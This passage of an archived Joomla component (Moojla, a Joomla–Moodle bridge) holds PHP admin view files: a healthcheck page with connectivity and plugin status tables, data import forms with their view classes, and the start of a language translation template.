JText::_('COM_MOOJLA_THIRDPARTY_PLUGINS')
?></a></li>
  <li><a data-toggle="tab"
href="#synchronization-report"><?=
JText::_('COM_MOOJLA_SYNCHRONIZATION_REPORT')
?></a></li>
</ul>

<div class="tab-content">
  <div id="connectivity" class="tab-pane fade in
active">
    <h3><?= JText::_('COM_MOOJLA_CONNECTIVITY')
?></h3>
    <table width="100%" class="table
table-striped">
      <thead>
        <tr>
          <th width="30%"><?=
JText::_('COM_MOOJLA_CHECK') ?></th>
          <th width="10%"><?=
JText::_('COM_MOOJLA_STATUS') ?></th>
          <th><?= JText::_('COM_MOOJLA_ERROR')
?></th>
        </tr>
      </thead>
      <tbody>

        <tr class="row0">
          <td><?= JText::_('COM_MOOJLA_MOODLE_URL')
?></td>
          <td align="center">
            <?php echo (count((array)$cmp) == 2) ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
          </td>
          <td align="center"><?php echo
(count((array)$cmp) == 2) ?
JText::_("COM_MOOJLA_ENTER_MOODLE_URL_CORRECTLY_BE_SURE_THAT_ENDING_SLASH_ENTERED")
: ""; ?></td>
        </tr>
        <?php if(count((array)$cmp) != 2):?>
          <tr class="row0">
            <td><?= JText::_('COM_MOOJLA_CURL')
?></td>
            <td align="center">
              <?php echo !$cmp->curlEnabled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
            </td>
            <td align="center"><?php echo
!$cmp->curlEnabled ? $cmp->error->curlEnabled: "";
?></td>
          </tr>

          <?php if($cmp->curlEnabled):?>
            <tr class="row0">
              <td><?=
JText::_('COM_MOOJLA_WEBSERVICES_ENABLED') ?></td>
              <td align="center">
                <?php echo !$cmp->webservicesEnabled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
              </td>
              <td align="center"><?php echo
!$cmp->webservicesEnabled ? $cmp->error->webservicesEnabled:
""; ?></td>
            </tr>

            <?php if($cmp->webservicesEnabled):?>
              <tr class="row0">
                <td><?= JText::_('COM_MOOJLA_REST')
?></td>
                <td align="center">
                  <?php echo !$cmp->restEnabled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
                </td>
                <td align="center"><?php echo
!$cmp->restEnabled ? $cmp->error->restEnabled: "";
?></td>
              </tr>

              <?php if($cmp->restEnabled):?>
                <tr class="row0">
                  <td><?=
JText::_('COM_MOOJLA_MOOJLA_INSTALLED') ?></td>
                  <td align="center">
                    <?php echo !$cmp->moojlaInstalled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
                  </td>
                  <td align="center"><?php echo
!$cmp->moojlaInstalled ? $cmp->error->moojlaInstalled:
""; ?></td>
                </tr>

                <?php if($cmp->moojlaInstalled):?>
                  <tr class="row0">
                    <td><?=
JText::_('COM_MOOJLA_MOOJLA_ENABLED') ?></td>
                    <td align="center">
                      <?php echo !$cmp->moojlaEnabled ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
                    </td>
                    <td align="center"><?php echo
!$cmp->moojlaEnabled ? $cmp->error->moojlaEnabled: "";
?></td>
                  </tr>

                  <?php if($cmp->moojlaEnabled):?>
                    <tr class="row0">
                      <td><?=
JText::_('COM_MOOJLA_JOOMLA_URL') ?></td>
                      <td align="center">
                        <?php echo !$cmp->joomlaUrlCorrect ?
'<div class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
                      </td>
                      <td align="center"><?php echo
!$cmp->joomlaUrlCorrect ? $cmp->error->joomlaUrlCorrect:
""; ?></td>
                    </tr>

                    <?php if($cmp->joomlaUrlCorrect):?>
                      <tr class="row0">
                        <td><?=
JText::_('COM_MOOJLA_JOOMLA_TOKEN') ?></td>
                        <td align="center">
                          <?php echo !$cmp->joomlaTokenCorrect ?
'<div class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
                        </td>
                        <td align="center"><?php echo
!$cmp->joomlaTokenCorrect ? $cmp->error->joomlaTokenCorrect:
""; ?></td>
                      </tr>

                      <?php if($cmp->joomlaUrlCorrect):?>
                      <tr class="row0">
                        <td><?=
JText::_('COM_MOOJLA_MOODLE_TOKEN') ?></td>
                        <td align="center">
                          <?php echo !$cmp->moodleToken ?
'<div class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_FAILED").'</div>'
: '<div class="alert alert-success"
role="alert">'.JText::_("OK").'</div>';?>
                        </td>
                        <td align="center"><?php echo
!$cmp->moodleToken ? $cmp->error->moodleToken: "";
?></td>
                      </tr>
                      <?php endif;?>
                    <?php endif;?>
                  <?php endif;?>
                <?php endif;?>
              <?php endif;?>
            <?php endif;?>
          <?php endif;?>
        <?php endif;?>
      </tbody>
    </table>
  </div>
  <div id="joomla-plugins" class="tab-pane
fade">
    <h3><?= JText::_('COM_MOOJLA_JOOMLA_PLUGINS')
?></h3>  
    <table width="100%" class="table
table-striped">
      <thead>
        <tr>
          <th width="30%"><?=
JText::_('COM_MOOJLA_PLUGINS_NAME') ?></th>
          <th width="10%"><?=
JText::_('COM_MOOJLA_STATUS') ?></th>
          <th><?= JText::_('COM_MOOJLA_IMPORTANCE')
?></th>
        </tr>
      </thead>
      <tbody>
      <?php foreach($this->item['plugins']->joomla as
$plg_name => $plugin): ?>
        <tr class="row0">
          <td><?php echo $plg_name; ?></td>
          <td align="center">
            <?php echo !$plugin->installed ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_NOT_INSTALLED").'</div>'
: ($plugin->enabled? '<a type="button"
href="javascript:void(0);" onclick="return
jpluginAction('."'".$plg_name."'".',
0)" class="btn
btn-success">'.JText::_("COM_MOOJLA_ENABLED").'</button>'
: '<a type="button" href="javascript:void(0);"
onclick="return
jpluginAction('."'".$plg_name."'".',
1)" class="btn
btn-danger">'.JText::_("COM_MOOJLA_DISABLED").'</a>')?>
            </td>
          <td align="center"><?php echo
$plugin->importancy; ?></td>
        </tr>
      <?php endforeach;?>
      </tbody>
    </table>
  </div>
  <div id="thirdparty-plugin" class="tab-pane
fade">
    
      <?php foreach($this->item['plugins']->thirdparties
as $tplg_name => $tplugin): ?>
        <?php if($tplugin):?>
          <?php
            echo '<h3>' . $tplg_name . "
Plugins<h3></h3>";
          ?>
          <table width="100%" class="table
table-striped">
            <thead>
              <tr>
                <th width="30%"><?=
JText::_('COM_MOOJLA_PLUGINS_NAME') ?></th>
                <th width="10%"><?=
JText::_('COM_MOOJLA_STATUS') ?></th>
                <th><?=
JText::_('COM_MOOJLA_IMPORTANCE') ?></th>
              </tr>
            </thead>
            <tbody>
            <?php foreach($tplugin as $plg_name => $plugin): ?>
              <tr class="row0">
                <td><?php echo $plg_name; ?></td>
                <td align="center">
                  <?php echo !$plugin->installed ? '<div
class="alert alert-danger"
role="alert">'.JText::_("COM_MOOJLA_NOT_INSTALLED").'</div>'
: ($plugin->enabled? '<a type="button"
href="javascript:void(0);" onclick="return
jpluginAction(this, 0)" class="btn
btn-success">'.JText::_("COM_MOOJLA_ENABLED").'</a>'
: '<a type="button" href="javascript:void(0);"
onclick="return jpluginAction(this, 1)" class="btn
btn-danger">'.JText::_("COM_MOOJLA_DISABLED").'</a>')?>
                  </td>
                <td align="center"><?php echo
$plugin->importancy; ?></td>
              </tr>
            <?php endforeach;?>
            </tbody>
          </table>
        <?php else:?>
          <strong><?php echo $tplg_name." "
.JText::_("COM_MOOJLA_NOT_INSTALLED"); ?></strong>
        <?php endif;?>
      <?php endforeach;?>
    </div>
  <div id="synchronization-report" class="tab-pane
fade">
    <ul class="nav nav-tabs">
      <li class="active"><a data-toggle="tab"
href="#users"><?= JText::_('COM_MOOJLA_USERS')
?></a></li>
      <li><a data-toggle="tab"
href="#courses"><?=
JText::_('COM_MOOJLA_COURSES') ?></a></li>
      <li><a data-toggle="tab"
href="#category"><?=
JText::_('COM_MOOJLA_CATEGORIES') ?></a></li>
    </ul>
    <div class="tab-content">
      <div id="users" class="tab-pane fade">
        <h3><?= JText::_('COM_MOOJLA_USERS')
?></h3>
        <?php $diffnum = count($moodleusersdiff);
		echo
JText::sprintf('COM_MOOJLA_S_MOODLE_USERS_NOT_MAPPED_IN_MOOJLA_JOOMLA_SIDE_MOODLE_IDS_LISTED_IN_BOTTOM',
$diffnum);?>
        <ul class='users' id='moodle-users'>
          <?php foreach($moodleusersdiff as $id):?>
          <li><?php echo $id;?></li>
          <?php endforeach;?>
        </ul>
        <?php if($diffnum > 5):?>
        <span onclick="showMore('moodle-users',
this)" class="showmore-btn"><?=
JText::_('COM_MOOJLA_SHOW_MORE') ?></span>
        <?php endif;?>

        

      <?php $jdiffnum = count($joomlausersdiff);
		echo
JText::sprintf('COM_MOOJLA_S_JOOMLA_USERS_NOT_MAPPED_IN_MOOJLA_MOODLE_SIDE_JOOMLA_IDS_LISTED_IN_BOTTOM',
$jdiffnum); ?>
      <ul class='users' id='joomla-users'>
        <?php foreach($joomlausersdiff as $id):?>
        <li><?php echo $id;?></li>
        <?php endforeach;?>
      </ul>
      <?php if($jdiffnum > 5):?>
      <span onclick="showMore('joomla-users', this)"
class="showmore-btn"><?=
JText::_('COM_MOOJLA_SHOW_MORE') ?></span>
      <?php endif;?>

      </div>
      <div id="courses" class="tab-pane fade">
        <h3><?= JText::_('COM_MOOJLA_COURSES')
?></h3>
        <?php $cdiffnum = count($coursedif);
			echo
JText::sprintf('COM_MOOJLA_S_MOODLE_COURSES_NOT_MAPPED_IN_MOOJLA_JOOMLA_SIDE_MOODLE_COURSE_IDS_LISTED_IN_BOTTOM',
$cdiffnum); ?>
        <ul class='users' id='moodle-courses'>
          <?php foreach($coursedif as $id):?>
          <li><?php echo $id;?></li>
          <?php endforeach;?>
        </ul>
        <?php if($cdiffnum > 5):?>
        <span onclick="showMore('moodle-courses',
this)" class="showmore-btn"><?=
JText::_('COM_MOOJLA_SHOW_MORE') ?></span>
        <?php endif;?>
      </div>
      <div id="category" class="tab-pane fade">
        <h3><?= JText::_('COM_MOOJLA_CATEGORIES')
?></h3>

        <?php $catdifnum = count($catdif);
			
			echo $catdifnum . ' moodle ' . ($catdifnum > 1 ?
'categories' : 'category') . ' not mapped in
moojla (joomla side), moodle category ids listed in bottom:' ?>
        <ul class='users'
id='moodle-categories'>
          <?php foreach($catdif as $id):?>
          <li><?php echo $id;?></li>
          <?php endforeach;?>
        </ul>
        <?php if($catdifnum > 5):?>
        <span onclick="showMore('moodle-categories',
this)" class="showmore-btn"><?=
JText::_('COM_MOOJLA_SHOW_MORE') ?></span>
        <?php endif;?>
      </div>
    </div>
  </div>
</div><!--[/JCBGUI$$$$]-->

<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
<?php else: ?>
        <h1><?php echo
JText::_('COM_MOOJLA_NO_ACCESS_GRANTED'); ?></h1>
<?php endif; ?>

views/healthcheck/tmpl/index.html000064400000000054151165724410013122
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/healthcheck/view.html.php000064400000010033151165724410012575
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access'); 

/**
 * Moojla View class for the Healthcheck
 */
class MoojlaViewHealthcheck extends JViewLegacy
{
	// Overwriting JView display method
	function display($tpl = null)
	{
		// get component params
		$this->params = JComponentHelper::getParams('com_moojla');
		// get the application
		$this->app = JFactory::getApplication();
		// get the user object
		$this->user = JFactory::getUser();
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('healthcheck');
		// Initialise variables.
		$this->item = $this->get('Item');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			// add the tool bar
			$this->addToolBar();
		}

		// set the document
		$this->setDocument();

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode(PHP_EOL, $errors), 500);
		}

		parent::display($tpl);
	}

	/**
	 * Prepares the document
	 */
	protected function setDocument()
	{

		// always make sure jquery is loaded.
		JHtml::_('jquery.framework');
		// Load the header checker class.
		require_once(
JPATH_COMPONENT_ADMINISTRATOR.'/helpers/headercheck.php' );
		// Initialize the header checker.
		$HeaderCheck = new moojlaHeaderCheck;

		// Add View JavaScript File
		$this->document->addScript(JURI::root(true) .
"/administrator/components/com_moojla/assets/js/healthcheck.js",
(MoojlaHelper::jVersion()->isCompatible("3.8.0")) ?
array("version" => "auto") :
"text/javascript");
		// add the document default css file
		$this->document->addStyleSheet(JURI::root(true)
.'/administrator/components/com_moojla/assets/css/healthcheck.css',
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		// hide the main menu
		$this->app->input->set('hidemainmenu', true);
		// set the title
		if (isset($this->item->name) && $this->item->name)
		{
			$title = $this->item->name;
		}
		// Check for empty title and add view name if param is set
		if (empty($title))
		{
			$title = JText::_('COM_MOOJLA_HEALTHCHECK');
		}
		// add title to the page
		JToolbarHelper::title($title,'health');
		// add cpanel button
		JToolBarHelper::custom('healthcheck.dashboard',
'grid-2', '', 'COM_MOOJLA_DASH', false);

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('healthcheck');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}
}
?>
views/import/index.html000064400000000054151165724410011215
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/import/tmpl/default.php000064400000022122151165724410012331
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('jquery.framework');
JHtml::_('bootstrap.tooltip');
JHtml::_('script', 'system/core.js', false, true);
JHtml::_('behavior.keepalive');
?>
<script type="text/javascript">
<?php if ($this->hasPackage &&
MoojlaHelper::checkArray($this->headerList)) : ?>
	Joomla.continueImport = function()
	{
		var form = document.getElementById('adminForm');
		var error = false;
		var therequired = [<?php $i = 0; foreach($this->headerList as $name
=> $title) { echo ($i != 0)? ',
"vdm_'.$name.'"':'"vdm_'.$name.'"';
$i++; } ?>];
		for(i = 0; i < therequired.length; i++)
		{
			if(jQuery('#'+therequired[i]).val() == "" )
			{
				error = true;
				break;
			}
		}
		// do field validation
		if (error)
		{
			alert("<?php echo
JText::_('COM_MOOJLA_IMPORT_MSG_PLEASE_SELECT_ALL_COLUMNS',
true); ?>");
		}
		else
		{
			jQuery('#loading').css('display',
'block');

			form.gettype.value = 'continue';
			form.submit();
		}
	};
<?php else: ?>
	Joomla.submitbutton = function()
	{
		var form = document.getElementById('adminForm');

		// do field validation
		if (form.import_package.value == "")
		{
			alert("<?php echo
JText::_('COM_MOOJLA_IMPORT_MSG_PLEASE_SELECT_A_FILE', true);
?>");
		}
		else
		{
			jQuery('#loading').css('display',
'block');

			form.gettype.value = 'upload';
			form.submit();
		}
	};

	Joomla.submitbutton3 = function()
	{
		var form = document.getElementById('adminForm');

		// do field validation
		if (form.import_directory.value == ""){
			alert("<?php echo
JText::_('COM_MOOJLA_IMPORT_MSG_PLEASE_SELECT_A_DIRECTORY',
true); ?>");
		}
		else
		{
			jQuery('#loading').css('display',
'block');

			form.gettype.value = 'folder';
			form.submit();
		}
	};

	Joomla.submitbutton4 = function()
	{
		var form = document.getElementById('adminForm');

		// do field validation
		if (form.import_url.value == "" || form.import_url.value ==
"http://")
		{
			alert("<?php echo
JText::_('COM_MOOJLA_IMPORT_MSG_ENTER_A_URL', true);
?>");
		}
		else
		{
			jQuery('#loading').css('display',
'block');

			form.gettype.value = 'url';
			form.submit();
		}
	};
<?php endif; ?>

// Add spindle-wheel for importations:
jQuery(document).ready(function($) {
	var outerDiv = $('body');

	$('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top - $(window).scrollTop())
		.css("left", outerDiv.position().left - $(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
});

</script>

<div id="installer-import" class="clearfix">
<form enctype="multipart/form-data" action="<?php echo
JRoute::_('index.php?option=com_moojla&view=import');?>"
method="post" name="adminForm" id="adminForm"
class="form-horizontal form-validate">

	<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif;?>

	<?php if ($this->hasPackage &&
MoojlaHelper::checkArray($this->headerList) &&
MoojlaHelper::checkArray($this->headers)) : ?>
		<fieldset class="uploadform">
			<legend><?php echo
JText::_('COM_MOOJLA_IMPORT_LINK_FILE_TO_TABLE_COLUMNS');
?></legend>
			<div class="control-group">
				<label class="control-label" ><h4><?php echo
JText::_('COM_MOOJLA_IMPORT_TABLE_COLUMNS');
?></h4></label>
				<div class="controls">
					<label class="control-label" ><h4><?php echo
JText::_('COM_MOOJLA_IMPORT_FILE_COLUMNS');
?></h4></label>
				</div>
			</div>
			<?php foreach($this->headerList as $name => $title): ?>
				<div class="control-group">
					<label for="<?php echo $name; ?>"
class="control-label" ><?php echo $title;
?></label>
					<div class="controls">
					<select  name="<?php echo $name; ?>" 
id="vdm_<?php echo $name; ?>" required class="required
input_box" >
						<option value=""><?php echo
JText::_('COM_MOOJLA_IMPORT_PLEASE_SELECT_COLUMN');
?></option>
						<option value="IGNORE"><?php echo
JText::_('COM_MOOJLA_IMPORT_IGNORE_COLUMN'); ?></option>
						<?php foreach($this->headers as $value => $option): ?>
							<?php $selected = (strtolower($option) ==  strtolower ($title) ||
strtolower($option) == strtolower($name))?
'selected="selected"':''; ?>
							<option value="<?php echo
MoojlaHelper::htmlEscape($value); ?>" class="required"
<?php echo $selected ?>><?php echo
MoojlaHelper::htmlEscape($option); ?></option>
						<?php endforeach; ?>
					</select>
					</div>
				</div>
			<?php endforeach; ?>
			<div class="form-actions">
				<input class="btn btn-primary" type="button"
value="<?php echo JText::_('COM_MOOJLA_IMPORT_CONTINUE');
?>" onclick="Joomla.continueImport()" />
			</div>
		</fieldset>
		<input type="hidden" name="gettype"
value="continue" />
	<?php else: ?>
		<?php echo JHtml::_('bootstrap.startTabSet',
'myTab', array('active' => 'upload'));
?>
		
		<?php echo JHtml::_('bootstrap.addTab', 'myTab',
'upload', JText::_('COM_MOOJLA_IMPORT_FROM_UPLOAD',
true)); ?>
			<fieldset class="uploadform">
				<legend><?php echo
JText::_('COM_MOOJLA_IMPORT_UPDATE_DATA'); ?></legend>
				<div class="control-group">
					<label for="import_package"
class="control-label"><?php echo
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE'); ?></label>
					<div class="controls">
						<input class="input_box" id="import_package"
name="import_package" type="file" size="57"
/>
					</div>
				</div>
				<div class="form-actions">
					<input class="btn btn-primary" type="button"
value="<?php echo
JText::_('COM_MOOJLA_IMPORT_UPLOAD_BOTTON'); ?>"
onclick="Joomla.submitbutton()"
/>&nbsp;&nbsp;&nbsp;<small><?php echo
JText::_('COM_MOOJLA_IMPORT_FORMATS_ACCEPTED'); ?> (.csv .xls
.ods)</small>
				</div>
			</fieldset>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
		
		<?php echo JHtml::_('bootstrap.addTab', 'myTab',
'directory',
JText::_('COM_MOOJLA_IMPORT_FROM_DIRECTORY', true)); ?>
			<fieldset class="uploadform">
				<legend><?php echo
JText::_('COM_MOOJLA_IMPORT_UPDATE_DATA'); ?></legend>
				<div class="control-group">
					<label for="import_directory"
class="control-label"><?php echo
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_DIRECTORY');
?></label>
					<div class="controls">
						<input type="text" id="import_directory"
name="import_directory" class="span5 input_box"
size="70" value="<?php echo
$this->state->get('import.directory'); ?>" />
					</div>
				</div>
				<div class="form-actions">
					<input type="button" class="btn btn-primary"
value="<?php echo
JText::_('COM_MOOJLA_IMPORT_GET_BOTTON'); ?>"
onclick="Joomla.submitbutton3()"
/>&nbsp;&nbsp;&nbsp;<small><?php echo
JText::_('COM_MOOJLA_IMPORT_FORMATS_ACCEPTED'); ?> (.csv .xls
.ods)</small>
				</div>
				</fieldset>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab',
'url', JText::_('COM_MOOJLA_IMPORT_FROM_URL', true));
?>
			<fieldset class="uploadform">
				<legend><?php echo
JText::_('COM_MOOJLA_IMPORT_UPDATE_DATA'); ?></legend>
				<div class="control-group">
					<label for="import_url"
class="control-label"><?php echo
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_URL');
?></label>
					<div class="controls">
						<input type="text" id="import_url"
name="import_url" class="span5 input_box"
size="70" value="http://" />
					</div>
				</div>
				<div class="form-actions">
					<input type="button" class="btn btn-primary"
value="<?php echo
JText::_('COM_MOOJLA_IMPORT_GET_BOTTON'); ?>"
onclick="Joomla.submitbutton4()"
/>&nbsp;&nbsp;&nbsp;<small><?php echo
JText::_('COM_MOOJLA_IMPORT_FORMATS_ACCEPTED'); ?> (.csv .xls
.ods)</small>
				</div>
			</fieldset>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
		<input type="hidden" name="gettype"
value="upload" />
	<?php endif; ?>
	<input type="hidden" name="task"
value="import.import" />
	<?php echo JHtml::_('form.token'); ?>
</form>
</div>views/import/tmpl/index.html000064400000000054151165724410012171
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/import/view.html.php000064400000006073151165724410011655
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla Import View
 */
class MoojlaViewImport extends JViewLegacy
{
	protected $headerList;
	protected $hasPackage = false;
	protected $headers;
	protected $hasHeader = 0;
	protected $dataType;

	public function display($tpl = null)
	{		
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('import');
		}

		$paths = new stdClass;
		$paths->first = '';
		$state = $this->get('state');

		$this->paths = &$paths;
		$this->state = &$state;
                // get global action permissions
		$this->canDo = MoojlaHelper::getActions('import');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
		}

		// get the session object
		$session = JFactory::getSession();
		// check if it has package
		$this->hasPackage 	= $session->get('hasPackage', false);
		$this->dataType 	= $session->get('dataType', false);
		if($this->hasPackage && $this->dataType)
		{
			$this->headerList 	=
json_decode($session->get($this->dataType.'_VDM_IMPORTHEADERS',
false),true);
			$this->headers 		= MoojlaHelper::getFileHeaders($this->dataType);
			// clear the data type
			$session->clear('dataType');
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_IMPORT_TITLE'),
'upload');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=import');

		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('import');
		if (MoojlaHelper::checkString($help_url))
		{
			   JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}
}
views/index.html000064400000000054151165724410007703
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/languagetranslation/index.html000064400000000054151165724410013745
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/languagetranslation/tmpl/default.php000064400000007432151165724410015070
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
?>
<?php if
($this->canDo->get('languagetranslation.access')): ?>
<script type="text/javascript">
	Joomla.submitbutton = function(task) {
		if (task === 'languagetranslation.back') {
			parent.history.back();
			return false;
		} else {
			var form = document.getElementById('adminForm');
			form.task.value = task;
			form.submit();
		}
	}
</script>
<?php $urlId = (isset($this->item->id)) ? '&id='.
(int) $this->item->id : ''; ?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=languagetranslation'
. $urlId); ?>" method="post" name="adminForm"
id="adminForm" class="form-validate"
